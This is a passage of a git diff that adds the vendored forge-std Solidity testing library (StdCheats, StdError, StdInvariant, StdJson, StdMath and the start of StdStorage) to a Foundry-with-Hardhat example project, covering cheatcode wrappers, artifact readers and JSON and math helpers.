+            // https://github.com/ethereum-optimism/optimism/blob/eaa371a0184b56b7ca6d9eb9cb0a2b78b2ccd864/op-bindings/predeploys/addresses.go#L6-L21
+            vm.assume(addr < address(0x4200000000000000000000000000000000000000) || addr > address(0x4200000000000000000000000000000000000800));
+        } else if (chainId == 42161 || chainId == 421613) {
+            // https://developer.arbitrum.io/useful-addresses#arbitrum-precompiles-l2-same-on-all-arb-chains
+            vm.assume(addr < address(0x0000000000000000000000000000000000000064) || addr > address(0x0000000000000000000000000000000000000068));
+        } else if (chainId == 43114 || chainId == 43113) {
+            // https://github.com/ava-labs/subnet-evm/blob/47c03fd007ecaa6de2c52ea081596e0a88401f58/precompile/params.go#L18-L59
+            vm.assume(addr < address(0x0100000000000000000000000000000000000000) || addr > address(0x01000000000000000000000000000000000000ff));
+            vm.assume(addr < address(0x0200000000000000000000000000000000000000) || addr > address(0x02000000000000000000000000000000000000FF));
+            vm.assume(addr < address(0x0300000000000000000000000000000000000000) || addr > address(0x03000000000000000000000000000000000000Ff));
+        }
+        // forgefmt: disable-end
+    }
+
+    function assumeNotForgeAddress(address addr) internal pure virtual {
+        // vm, console, and Create2Deployer addresses
+        vm.assume(addr != address(vm) && addr != 0x000000000000000000636F6e736F6c652e6c6f67 && addr != 0x4e59b44847b379578588920cA78FbF26c0B4956C);
+    }
+
+    function readEIP1559ScriptArtifact(string memory path) internal view virtual returns (EIP1559ScriptArtifact memory) {
+        string memory data = vm.readFile(path);
+        bytes memory parsedData = vm.parseJson(data);
+        RawEIP1559ScriptArtifact memory rawArtifact = abi.decode(parsedData, (RawEIP1559ScriptArtifact));
+        EIP1559ScriptArtifact memory artifact;
+        artifact.libraries = rawArtifact.libraries;
+        artifact.path = rawArtifact.path;
+        artifact.timestamp = rawArtifact.timestamp;
+        artifact.pending = rawArtifact.pending;
+        artifact.txReturns = rawArtifact.txReturns;
+        artifact.receipts = rawToConvertedReceipts(rawArtifact.receipts);
+        artifact.transactions = rawToConvertedEIPTx1559s(rawArtifact.transactions);
+        return artifact;
+    }
+
+    function rawToConvertedEIPTx1559s(RawTx1559[] memory rawTxs) internal pure virtual returns (Tx1559[] memory) {
+        Tx1559[] memory txs = new Tx1559[](rawTxs.length);
+        for (uint256 i; i < rawTxs.length; i++) {
+            txs[i] = rawToConvertedEIPTx1559(rawTxs[i]);
+        }
+        return txs;
+    }
+
+    function rawToConvertedEIPTx1559(RawTx1559 memory rawTx) internal pure virtual returns (Tx1559 memory) {
+        Tx1559 memory transaction;
+        transaction.arguments = rawTx.arguments;
+        transaction.contractName = rawTx.contractName;
+        transaction.functionSig = rawTx.functionSig;
+        transaction.hash = rawTx.hash;
+        transaction.txDetail = rawToConvertedEIP1559Detail(rawTx.txDetail);
+        transaction.opcode = rawTx.opcode;
+        return transaction;
+    }
+
+    function rawToConvertedEIP1559Detail(RawTx1559Detail memory rawDetail) internal pure virtual returns (Tx1559Detail memory) {
+        Tx1559Detail memory txDetail;
+        txDetail.data = rawDetail.data;
+        txDetail.from = rawDetail.from;
+        txDetail.to = rawDetail.to;
+        txDetail.nonce = _bytesToUint(rawDetail.nonce);
+        txDetail.txType = _bytesToUint(rawDetail.txType);
+        txDetail.value = _bytesToUint(rawDetail.value);
+        txDetail.gas = _bytesToUint(rawDetail.gas);
+        txDetail.accessList = rawDetail.accessList;
+        return txDetail;
+    }
+
+    function readTx1559s(string memory path) internal view virtual returns (Tx1559[] memory) {
+        string memory deployData = vm.readFile(path);
+        bytes memory parsedDeployData = vm.parseJson(deployData, '.transactions');
+        RawTx1559[] memory rawTxs = abi.decode(parsedDeployData, (RawTx1559[]));
+        return rawToConvertedEIPTx1559s(rawTxs);
+    }
+
+    function readTx1559(string memory path, uint256 index) internal view virtual returns (Tx1559 memory) {
+        string memory deployData = vm.readFile(path);
+        string memory key = string(abi.encodePacked('.transactions[', vm.toString(index), ']'));
+        bytes memory parsedDeployData = vm.parseJson(deployData, key);
+        RawTx1559 memory rawTx = abi.decode(parsedDeployData, (RawTx1559));
+        return rawToConvertedEIPTx1559(rawTx);
+    }
+
+    // Analogous to readTransactions, but for receipts.
+    function readReceipts(string memory path) internal view virtual returns (Receipt[] memory) {
+        string memory deployData = vm.readFile(path);
+        bytes memory parsedDeployData = vm.parseJson(deployData, '.receipts');
+        RawReceipt[] memory rawReceipts = abi.decode(parsedDeployData, (RawReceipt[]));
+        return rawToConvertedReceipts(rawReceipts);
+    }
+
+    function readReceipt(string memory path, uint256 index) internal view virtual returns (Receipt memory) {
+        string memory deployData = vm.readFile(path);
+        string memory key = string(abi.encodePacked('.receipts[', vm.toString(index), ']'));
+        bytes memory parsedDeployData = vm.parseJson(deployData, key);
+        RawReceipt memory rawReceipt = abi.decode(parsedDeployData, (RawReceipt));
+        return rawToConvertedReceipt(rawReceipt);
+    }
+
+    function rawToConvertedReceipts(RawReceipt[] memory rawReceipts) internal pure virtual returns (Receipt[] memory) {
+        Receipt[] memory receipts = new Receipt[](rawReceipts.length);
+        for (uint256 i; i < rawReceipts.length; i++) {
+            receipts[i] = rawToConvertedReceipt(rawReceipts[i]);
+        }
+        return receipts;
+    }
+
+    function rawToConvertedReceipt(RawReceipt memory rawReceipt) internal pure virtual returns (Receipt memory) {
+        Receipt memory receipt;
+        receipt.blockHash = rawReceipt.blockHash;
+        receipt.to = rawReceipt.to;
+        receipt.from = rawReceipt.from;
+        receipt.contractAddress = rawReceipt.contractAddress;
+        receipt.effectiveGasPrice = _bytesToUint(rawReceipt.effectiveGasPrice);
+        receipt.cumulativeGasUsed = _bytesToUint(rawReceipt.cumulativeGasUsed);
+        receipt.gasUsed = _bytesToUint(rawReceipt.gasUsed);
+        receipt.status = _bytesToUint(rawReceipt.status);
+        receipt.transactionIndex = _bytesToUint(rawReceipt.transactionIndex);
+        receipt.blockNumber = _bytesToUint(rawReceipt.blockNumber);
+        receipt.logs = rawToConvertedReceiptLogs(rawReceipt.logs);
+        receipt.logsBloom = rawReceipt.logsBloom;
+        receipt.transactionHash = rawReceipt.transactionHash;
+        return receipt;
+    }
+
+    function rawToConvertedReceiptLogs(RawReceiptLog[] memory rawLogs) internal pure virtual returns (ReceiptLog[] memory) {
+        ReceiptLog[] memory logs = new ReceiptLog[](rawLogs.length);
+        for (uint256 i; i < rawLogs.length; i++) {
+            logs[i].logAddress = rawLogs[i].logAddress;
+            logs[i].blockHash = rawLogs[i].blockHash;
+            logs[i].blockNumber = _bytesToUint(rawLogs[i].blockNumber);
+            logs[i].data = rawLogs[i].data;
+            logs[i].logIndex = _bytesToUint(rawLogs[i].logIndex);
+            logs[i].topics = rawLogs[i].topics;
+            logs[i].transactionIndex = _bytesToUint(rawLogs[i].transactionIndex);
+            logs[i].transactionLogIndex = _bytesToUint(rawLogs[i].transactionLogIndex);
+            logs[i].removed = rawLogs[i].removed;
+        }
+        return logs;
+    }
+
+    // Deploy a contract by fetching the contract bytecode from
+    // the artifacts directory
+    // e.g. `deployCode(code, abi.encode(arg1,arg2,arg3))`
+    function deployCode(string memory what, bytes memory args) internal virtual returns (address addr) {
+        bytes memory bytecode = abi.encodePacked(vm.getCode(what), args);
+        /// @solidity memory-safe-assembly
+        assembly {
+            addr := create(0, add(bytecode, 0x20), mload(bytecode))
+        }
+
+        require(addr != address(0), 'StdCheats deployCode(string,bytes): Deployment failed.');
+    }
+
+    function deployCode(string memory what) internal virtual returns (address addr) {
+        bytes memory bytecode = vm.getCode(what);
+        /// @solidity memory-safe-assembly
+        assembly {
+            addr := create(0, add(bytecode, 0x20), mload(bytecode))
+        }
+
+        require(addr != address(0), 'StdCheats deployCode(string): Deployment failed.');
+    }
+
+    /// @dev deploy contract with value on construction
+    function deployCode(string memory what, bytes memory args, uint256 val) internal virtual returns (address addr) {
+        bytes memory bytecode = abi.encodePacked(vm.getCode(what), args);
+        /// @solidity memory-safe-assembly
+        assembly {
+            addr := create(val, add(bytecode, 0x20), mload(bytecode))
+        }
+
+        require(addr != address(0), 'StdCheats deployCode(string,bytes,uint256): Deployment failed.');
+    }
+
+    function deployCode(string memory what, uint256 val) internal virtual returns (address addr) {
+        bytes memory bytecode = vm.getCode(what);
+        /// @solidity memory-safe-assembly
+        assembly {
+            addr := create(val, add(bytecode, 0x20), mload(bytecode))
+        }
+
+        require(addr != address(0), 'StdCheats deployCode(string,uint256): Deployment failed.');
+    }
+
+    // creates a labeled address and the corresponding private key
+    function makeAddrAndKey(string memory name) internal virtual returns (address addr, uint256 privateKey) {
+        privateKey = uint256(keccak256(abi.encodePacked(name)));
+        addr = vm.addr(privateKey);
+        vm.label(addr, name);
+    }
+
+    // creates a labeled address
+    function makeAddr(string memory name) internal virtual returns (address addr) {
+        (addr, ) = makeAddrAndKey(name);
+    }
+
+    // Destroys an account immediately, sending the balance to beneficiary.
+    // Destroying means: balance will be zero, code will be empty, and nonce will be 0
+    // This is similar to selfdestruct but not identical: selfdestruct destroys code and nonce
+    // only after tx ends, this will run immediately.
+    function destroyAccount(address who, address beneficiary) internal virtual {
+        uint256 currBalance = who.balance;
+        vm.etch(who, abi.encode());
+        vm.deal(who, 0);
+        vm.resetNonce(who);
+
+        uint256 beneficiaryBalance = beneficiary.balance;
+        vm.deal(beneficiary, currBalance + beneficiaryBalance);
+    }
+
+    // creates a struct containing both a labeled address and the corresponding private key
+    function makeAccount(string memory name) internal virtual returns (Account memory account) {
+        (account.addr, account.key) = makeAddrAndKey(name);
+    }
+
+    function deriveRememberKey(string memory mnemonic, uint32 index) internal virtual returns (address who, uint256 privateKey) {
+        privateKey = vm.deriveKey(mnemonic, index);
+        who = vm.rememberKey(privateKey);
+    }
+
+    function _bytesToUint(bytes memory b) private pure returns (uint256) {
+        require(b.length <= 32, 'StdCheats _bytesToUint(bytes): Bytes length exceeds 32.');
+        return abi.decode(abi.encodePacked(new bytes(32 - b.length), b), (uint256));
+    }
+
+    function isFork() internal view virtual returns (bool status) {
+        try vm.activeFork() {
+            status = true;
+        } catch (bytes memory) {}
+    }
+
+    modifier skipWhenForking() {
+        if (!isFork()) {
+            _;
+        }
+    }
+
+    modifier skipWhenNotForking() {
+        if (isFork()) {
+            _;
+        }
+    }
+
+    modifier noGasMetering() {
+        vm.pauseGasMetering();
+        // To prevent turning gas monitoring back on with nested functions that use this modifier,
+        // we check if gasMetering started in the off position. If it did, we don't want to turn
+        // it back on until we exit the top level function that used the modifier
+        //
+        // i.e. funcA() noGasMetering { funcB() }, where funcB has noGasMetering as well.
+        // funcA will have `gasStartedOff` as false, funcB will have it as true,
+        // so we only turn metering back on at the end of the funcA
+        bool gasStartedOff = gasMeteringOff;
+        gasMeteringOff = true;
+
+        _;
+
+        // if gas metering was on when this modifier was called, turn it back on at the end
+        if (!gasStartedOff) {
+            gasMeteringOff = false;
+            vm.resumeGasMetering();
+        }
+    }
+
+    // We use this complex approach of `_viewChainId` and `_pureChainId` to ensure there are no
+    // compiler warnings when accessing chain ID in any solidity version supported by forge-std. We
+    // can't simply access the chain ID in a normal view or pure function because the solc View Pure
+    // Checker changed `chainid` from pure to view in 0.8.0.
+    function _viewChainId() private view returns (uint256 chainId) {
+        // Assembly required since `block.chainid` was introduced in 0.8.0.
+        assembly {
+            chainId := chainid()
+        }
+
+        address(this); // Silence warnings in older Solc versions.
+    }
+
+    function _pureChainId() private pure returns (uint256 chainId) {
+        function() internal view returns (uint256) fnIn = _viewChainId;
+        function() internal pure returns (uint256) pureChainId;
+        assembly {
+            pureChainId := fnIn
+        }
+        chainId = pureChainId();
+    }
+}
+
+// Wrappers around cheatcodes to avoid footguns
+abstract contract StdCheats is StdCheatsSafe {
+    using stdStorage for StdStorage;
+
+    StdStorage private stdstore;
+    Vm private constant vm = Vm(address(uint160(uint256(keccak256('hevm cheat code')))));
+    address private constant CONSOLE2_ADDRESS = 0x000000000000000000636F6e736F6c652e6c6f67;
+
+    // Skip forward or rewind time by the specified number of seconds
+    function skip(uint256 time) internal virtual {
+        vm.warp(block.timestamp + time);
+    }
+
+    function rewind(uint256 time) internal virtual {
+        vm.warp(block.timestamp - time);
+    }
+
+    // Setup a prank from an address that has some ether
+    function hoax(address msgSender) internal virtual {
+        vm.deal(msgSender, 1 << 128);
+        vm.prank(msgSender);
+    }
+
+    function hoax(address msgSender, uint256 give) internal virtual {
+        vm.deal(msgSender, give);
+        vm.prank(msgSender);
+    }
+
+    function hoax(address msgSender, address origin) internal virtual {
+        vm.deal(msgSender, 1 << 128);
+        vm.prank(msgSender, origin);
+    }
+
+    function hoax(address msgSender, address origin, uint256 give) internal virtual {
+        vm.deal(msgSender, give);
+        vm.prank(msgSender, origin);
+    }
+
+    // Start perpetual prank from an address that has some ether
+    function startHoax(address msgSender) internal virtual {
+        vm.deal(msgSender, 1 << 128);
+        vm.startPrank(msgSender);
+    }
+
+    function startHoax(address msgSender, uint256 give) internal virtual {
+        vm.deal(msgSender, give);
+        vm.startPrank(msgSender);
+    }
+
+    // Start perpetual prank from an address that has some ether
+    // tx.origin is set to the origin parameter
+    function startHoax(address msgSender, address origin) internal virtual {
+        vm.deal(msgSender, 1 << 128);
+        vm.startPrank(msgSender, origin);
+    }
+
+    function startHoax(address msgSender, address origin, uint256 give) internal virtual {
+        vm.deal(msgSender, give);
+        vm.startPrank(msgSender, origin);
+    }
+
+    function changePrank(address msgSender) internal virtual {
+        console2_log_StdCheats('changePrank is deprecated. Please use vm.startPrank instead.');
+        vm.stopPrank();
+        vm.startPrank(msgSender);
+    }
+
+    function changePrank(address msgSender, address txOrigin) internal virtual {
+        vm.stopPrank();
+        vm.startPrank(msgSender, txOrigin);
+    }
+
+    // The same as Vm's `deal`
+    // Use the alternative signature for ERC20 tokens
+    function deal(address to, uint256 give) internal virtual {
+        vm.deal(to, give);
+    }
+
+    // Set the balance of an account for any ERC20 token
+    // Use the alternative signature to update `totalSupply`
+    function deal(address token, address to, uint256 give) internal virtual {
+        deal(token, to, give, false);
+    }
+
+    // Set the balance of an account for any ERC1155 token
+    // Use the alternative signature to update `totalSupply`
+    function dealERC1155(address token, address to, uint256 id, uint256 give) internal virtual {
+        dealERC1155(token, to, id, give, false);
+    }
+
+    function deal(address token, address to, uint256 give, bool adjust) internal virtual {
+        // get current balance
+        (, bytes memory balData) = token.staticcall(abi.encodeWithSelector(0x70a08231, to));
+        uint256 prevBal = abi.decode(balData, (uint256));
+
+        // update balance
+        stdstore.target(token).sig(0x70a08231).with_key(to).checked_write(give);
+
+        // update total supply
+        if (adjust) {
+            (, bytes memory totSupData) = token.staticcall(abi.encodeWithSelector(0x18160ddd));
+            uint256 totSup = abi.decode(totSupData, (uint256));
+            if (give < prevBal) {
+                totSup -= (prevBal - give);
+            } else {
+                totSup += (give - prevBal);
+            }
+            stdstore.target(token).sig(0x18160ddd).checked_write(totSup);
+        }
+    }
+
+    function dealERC1155(address token, address to, uint256 id, uint256 give, bool adjust) internal virtual {
+        // get current balance
+        (, bytes memory balData) = token.staticcall(abi.encodeWithSelector(0x00fdd58e, to, id));
+        uint256 prevBal = abi.decode(balData, (uint256));
+
+        // update balance
+        stdstore.target(token).sig(0x00fdd58e).with_key(to).with_key(id).checked_write(give);
+
+        // update total supply
+        if (adjust) {
+            (, bytes memory totSupData) = token.staticcall(abi.encodeWithSelector(0xbd85b039, id));
+            require(totSupData.length != 0, 'StdCheats deal(address,address,uint,uint,bool): target contract is not ERC1155Supply.');
+            uint256 totSup = abi.decode(totSupData, (uint256));
+            if (give < prevBal) {
+                totSup -= (prevBal - give);
+            } else {
+                totSup += (give - prevBal);
+            }
+            stdstore.target(token).sig(0xbd85b039).with_key(id).checked_write(totSup);
+        }
+    }
+
+    function dealERC721(address token, address to, uint256 id) internal virtual {
+        // check if token id is already minted and the actual owner.
+        (bool successMinted, bytes memory ownerData) = token.staticcall(abi.encodeWithSelector(0x6352211e, id));
+        require(successMinted, 'StdCheats deal(address,address,uint,bool): id not minted.');
+
+        // get owner current balance
+        (, bytes memory fromBalData) = token.staticcall(abi.encodeWithSelector(0x70a08231, abi.decode(ownerData, (address))));
+        uint256 fromPrevBal = abi.decode(fromBalData, (uint256));
+
+        // get new user current balance
+        (, bytes memory toBalData) = token.staticcall(abi.encodeWithSelector(0x70a08231, to));
+        uint256 toPrevBal = abi.decode(toBalData, (uint256));
+
+        // update balances
+        stdstore.target(token).sig(0x70a08231).with_key(abi.decode(ownerData, (address))).checked_write(--fromPrevBal);
+        stdstore.target(token).sig(0x70a08231).with_key(to).checked_write(++toPrevBal);
+
+        // update owner
+        stdstore.target(token).sig(0x6352211e).with_key(id).checked_write(to);
+    }
+
+    function deployCodeTo(string memory what, address where) internal virtual {
+        deployCodeTo(what, '', 0, where);
+    }
+
+    function deployCodeTo(string memory what, bytes memory args, address where) internal virtual {
+        deployCodeTo(what, args, 0, where);
+    }
+
+    function deployCodeTo(string memory what, bytes memory args, uint256 value, address where) internal virtual {
+        bytes memory creationCode = vm.getCode(what);
+        vm.etch(where, abi.encodePacked(creationCode, args));
+        (bool success, bytes memory runtimeBytecode) = where.call{value: value}('');
+        require(success, 'StdCheats deployCodeTo(string,bytes,uint256,address): Failed to create runtime bytecode.');
+        vm.etch(where, runtimeBytecode);
+    }
+
+    // Used to prevent the compilation of console, which shortens the compilation time when console is not used elsewhere.
+    function console2_log_StdCheats(string memory p0) private view {
+        (bool status, ) = address(CONSOLE2_ADDRESS).staticcall(abi.encodeWithSignature('log(string)', p0));
+        status;
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/StdError.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdError.sol
new file mode 100644
index 000000000..0dd57fbbd
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdError.sol
@@ -0,0 +1,15 @@
+// SPDX-License-Identifier: MIT
+// Panics work for versions >=0.8.0, but we lowered the pragma to make this compatible with Test
+pragma solidity >=0.6.2 <0.9.0;
+
+library stdError {
+    bytes public constant assertionError = abi.encodeWithSignature('Panic(uint256)', 0x01);
+    bytes public constant arithmeticError = abi.encodeWithSignature('Panic(uint256)', 0x11);
+    bytes public constant divisionError = abi.encodeWithSignature('Panic(uint256)', 0x12);
+    bytes public constant enumConversionError = abi.encodeWithSignature('Panic(uint256)', 0x21);
+    bytes public constant encodeStorageError = abi.encodeWithSignature('Panic(uint256)', 0x22);
+    bytes public constant popError = abi.encodeWithSignature('Panic(uint256)', 0x31);
+    bytes public constant indexOOBError = abi.encodeWithSignature('Panic(uint256)', 0x32);
+    bytes public constant memOverflowError = abi.encodeWithSignature('Panic(uint256)', 0x41);
+    bytes public constant zeroVarError = abi.encodeWithSignature('Panic(uint256)', 0x51);
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/StdInvariant.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdInvariant.sol
new file mode 100644
index 000000000..bcd9ac0a7
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdInvariant.sol
@@ -0,0 +1,107 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+abstract contract StdInvariant {
+    struct FuzzSelector {
+        address addr;
+        bytes4[] selectors;
+    }
+
+    struct FuzzInterface {
+        address addr;
+        string[] artifacts;
+    }
+
+    address[] private _excludedContracts;
+    address[] private _excludedSenders;
+    address[] private _targetedContracts;
+    address[] private _targetedSenders;
+
+    string[] private _excludedArtifacts;
+    string[] private _targetedArtifacts;
+
+    FuzzSelector[] private _targetedArtifactSelectors;
+    FuzzSelector[] private _targetedSelectors;
+
+    FuzzInterface[] private _targetedInterfaces;
+
+    // Functions for users:
+    // These are intended to be called in tests.
+
+    function excludeContract(address newExcludedContract_) internal {
+        _excludedContracts.push(newExcludedContract_);
+    }
+
+    function excludeSender(address newExcludedSender_) internal {
+        _excludedSenders.push(newExcludedSender_);
+    }
+
+    function excludeArtifact(string memory newExcludedArtifact_) internal {
+        _excludedArtifacts.push(newExcludedArtifact_);
+    }
+
+    function targetArtifact(string memory newTargetedArtifact_) internal {
+        _targetedArtifacts.push(newTargetedArtifact_);
+    }
+
+    function targetArtifactSelector(FuzzSelector memory newTargetedArtifactSelector_) internal {
+        _targetedArtifactSelectors.push(newTargetedArtifactSelector_);
+    }
+
+    function targetContract(address newTargetedContract_) internal {
+        _targetedContracts.push(newTargetedContract_);
+    }
+
+    function targetSelector(FuzzSelector memory newTargetedSelector_) internal {
+        _targetedSelectors.push(newTargetedSelector_);
+    }
+
+    function targetSender(address newTargetedSender_) internal {
+        _targetedSenders.push(newTargetedSender_);
+    }
+
+    function targetInterface(FuzzInterface memory newTargetedInterface_) internal {
+        _targetedInterfaces.push(newTargetedInterface_);
+    }
+
+    // Functions for forge:
+    // These are called by forge to run invariant tests and don't need to be called in tests.
+
+    function excludeArtifacts() public view returns (string[] memory excludedArtifacts_) {
+        excludedArtifacts_ = _excludedArtifacts;
+    }
+
+    function excludeContracts() public view returns (address[] memory excludedContracts_) {
+        excludedContracts_ = _excludedContracts;
+    }
+
+    function excludeSenders() public view returns (address[] memory excludedSenders_) {
+        excludedSenders_ = _excludedSenders;
+    }
+
+    function targetArtifacts() public view returns (string[] memory targetedArtifacts_) {
+        targetedArtifacts_ = _targetedArtifacts;
+    }
+
+    function targetArtifactSelectors() public view returns (FuzzSelector[] memory targetedArtifactSelectors_) {
+        targetedArtifactSelectors_ = _targetedArtifactSelectors;
+    }
+
+    function targetContracts() public view returns (address[] memory targetedContracts_) {
+        targetedContracts_ = _targetedContracts;
+    }
+
+    function targetSelectors() public view returns (FuzzSelector[] memory targetedSelectors_) {
+        targetedSelectors_ = _targetedSelectors;
+    }
+
+    function targetSenders() public view returns (address[] memory targetedSenders_) {
+        targetedSenders_ = _targetedSenders;
+    }
+
+    function targetInterfaces() public view returns (FuzzInterface[] memory targetedInterfaces_) {
+        targetedInterfaces_ = _targetedInterfaces;
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/StdJson.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdJson.sol
new file mode 100644
index 000000000..a5f76e612
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdJson.sol
@@ -0,0 +1,155 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.0 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import {VmSafe} from './Vm.sol';
+
+// Helpers for parsing and writing JSON files
+// To parse:
+// ```
+// using stdJson for string;
+// string memory json = vm.readFile("<some_path>");
+// json.readUint("<json_path>");
+// ```
+// To write:
+// ```
+// using stdJson for string;
+// string memory json = "json";
+// json.serialize("a", uint256(123));
+// string memory semiFinal = json.serialize("b", string("test"));
+// string memory finalJson = json.serialize("c", semiFinal);
+// finalJson.write("<some_path>");
+// ```
+
+library stdJson {
+    VmSafe private constant vm = VmSafe(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    function parseRaw(string memory json, string memory key) internal pure returns (bytes memory) {
+        return vm.parseJson(json, key);
+    }
+
+    function readUint(string memory json, string memory key) internal pure returns (uint256) {
+        return vm.parseJsonUint(json, key);
+    }
+
+    function readUintArray(string memory json, string memory key) internal pure returns (uint256[] memory) {
+        return vm.parseJsonUintArray(json, key);
+    }
+
+    function readInt(string memory json, string memory key) internal pure returns (int256) {
+        return vm.parseJsonInt(json, key);
+    }
+
+    function readIntArray(string memory json, string memory key) internal pure returns (int256[] memory) {
+        return vm.parseJsonIntArray(json, key);
+    }
+
+    function readBytes32(string memory json, string memory key) internal pure returns (bytes32) {
+        return vm.parseJsonBytes32(json, key);
+    }
+
+    function readBytes32Array(string memory json, string memory key) internal pure returns (bytes32[] memory) {
+        return vm.parseJsonBytes32Array(json, key);
+    }
+
+    function readString(string memory json, string memory key) internal pure returns (string memory) {
+        return vm.parseJsonString(json, key);
+    }
+
+    function readStringArray(string memory json, string memory key) internal pure returns (string[] memory) {
+        return vm.parseJsonStringArray(json, key);
+    }
+
+    function readAddress(string memory json, string memory key) internal pure returns (address) {
+        return vm.parseJsonAddress(json, key);
+    }
+
+    function readAddressArray(string memory json, string memory key) internal pure returns (address[] memory) {
+        return vm.parseJsonAddressArray(json, key);
+    }
+
+    function readBool(string memory json, string memory key) internal pure returns (bool) {
+        return vm.parseJsonBool(json, key);
+    }
+
+    function readBoolArray(string memory json, string memory key) internal pure returns (bool[] memory) {
+        return vm.parseJsonBoolArray(json, key);
+    }
+
+    function readBytes(string memory json, string memory key) internal pure returns (bytes memory) {
+        return vm.parseJsonBytes(json, key);
+    }
+
+    function readBytesArray(string memory json, string memory key) internal pure returns (bytes[] memory) {
+        return vm.parseJsonBytesArray(json, key);
+    }
+
+    function serialize(string memory jsonKey, string memory rootObject) internal returns (string memory) {
+        return vm.serializeJson(jsonKey, rootObject);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bool value) internal returns (string memory) {
+        return vm.serializeBool(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bool[] memory value) internal returns (string memory) {
+        return vm.serializeBool(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, uint256 value) internal returns (string memory) {
+        return vm.serializeUint(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, uint256[] memory value) internal returns (string memory) {
+        return vm.serializeUint(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, int256 value) internal returns (string memory) {
+        return vm.serializeInt(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, int256[] memory value) internal returns (string memory) {
+        return vm.serializeInt(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, address value) internal returns (string memory) {
+        return vm.serializeAddress(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, address[] memory value) internal returns (string memory) {
+        return vm.serializeAddress(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes32 value) internal returns (string memory) {
+        return vm.serializeBytes32(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes32[] memory value) internal returns (string memory) {
+        return vm.serializeBytes32(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes memory value) internal returns (string memory) {
+        return vm.serializeBytes(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes[] memory value) internal returns (string memory) {
+        return vm.serializeBytes(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, string memory value) internal returns (string memory) {
+        return vm.serializeString(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, string[] memory value) internal returns (string memory) {
+        return vm.serializeString(jsonKey, key, value);
+    }
+
+    function write(string memory jsonKey, string memory path) internal {
+        vm.writeJson(jsonKey, path);
+    }
+
+    function write(string memory jsonKey, string memory path, string memory valueKey) internal {
+        vm.writeJson(jsonKey, path, valueKey);
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/StdMath.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdMath.sol
new file mode 100644
index 000000000..7501f273c
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdMath.sol
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+library stdMath {
+    int256 private constant INT256_MIN = -57896044618658097711785492504343953926634992332820282019728792003956564819968;
+
+    function abs(int256 a) internal pure returns (uint256) {
+        // Required or it will fail when `a = type(int256).min`
+        if (a == INT256_MIN) {
+            return 57896044618658097711785492504343953926634992332820282019728792003956564819968;
+        }
+
+        return uint256(a > 0 ? a : -a);
+    }
+
+    function delta(uint256 a, uint256 b) internal pure returns (uint256) {
+        return a > b ? a - b : b - a;
+    }
+
+    function delta(int256 a, int256 b) internal pure returns (uint256) {
+        // a and b are of the same sign
+        // this works thanks to two's complement, the left-most bit is the sign bit
+        if ((a ^ b) > -1) {
+            return delta(abs(a), abs(b));
+        }
+
+        // a and b are of opposite signs
+        return abs(a) + abs(b);
+    }
+
+    function percentDelta(uint256 a, uint256 b) internal pure returns (uint256) {
+        uint256 absDelta = delta(a, b);
+
+        return (absDelta * 1e18) / b;
+    }
+
+    function percentDelta(int256 a, int256 b) internal pure returns (uint256) {
+        uint256 absDelta = delta(a, b);
+        uint256 absB = abs(b);
+
+        return (absDelta * 1e18) / absB;
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/StdStorage.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdStorage.sol
new file mode 100644
index 000000000..bb24a7b9f
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdStorage.sol
@@ -0,0 +1,461 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+import {Vm} from './Vm.sol';
+
+struct FindData {
+    uint256 slot;
+    uint256 offsetLeft;
+    uint256 offsetRight;
+    bool found;
+}
+
+struct StdStorage {
+    mapping(address => mapping(bytes4 => mapping(bytes32 => FindData))) finds;
+    bytes32[] _keys;
+    bytes4 _sig;
+    uint256 _depth;
+    address _target;
+    bytes32 _set;
+    bool _enable_packed_slots;
+    bytes _calldata;
+}
+
+library stdStorageSafe {
+    event SlotFound(address who, bytes4 fsig, bytes32 keysHash, uint256 slot);
+    event WARNING_UninitedSlot(address who, uint256 slot);
+
+    Vm private constant vm = Vm(address(uint160(uint256(keccak256('hevm cheat code')))));
+    uint256 constant UINT256_MAX = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
+
+    function sigs(string memory sigStr) internal pure returns (bytes4) {
+        return bytes4(keccak256(bytes(sigStr)));
+    }
+
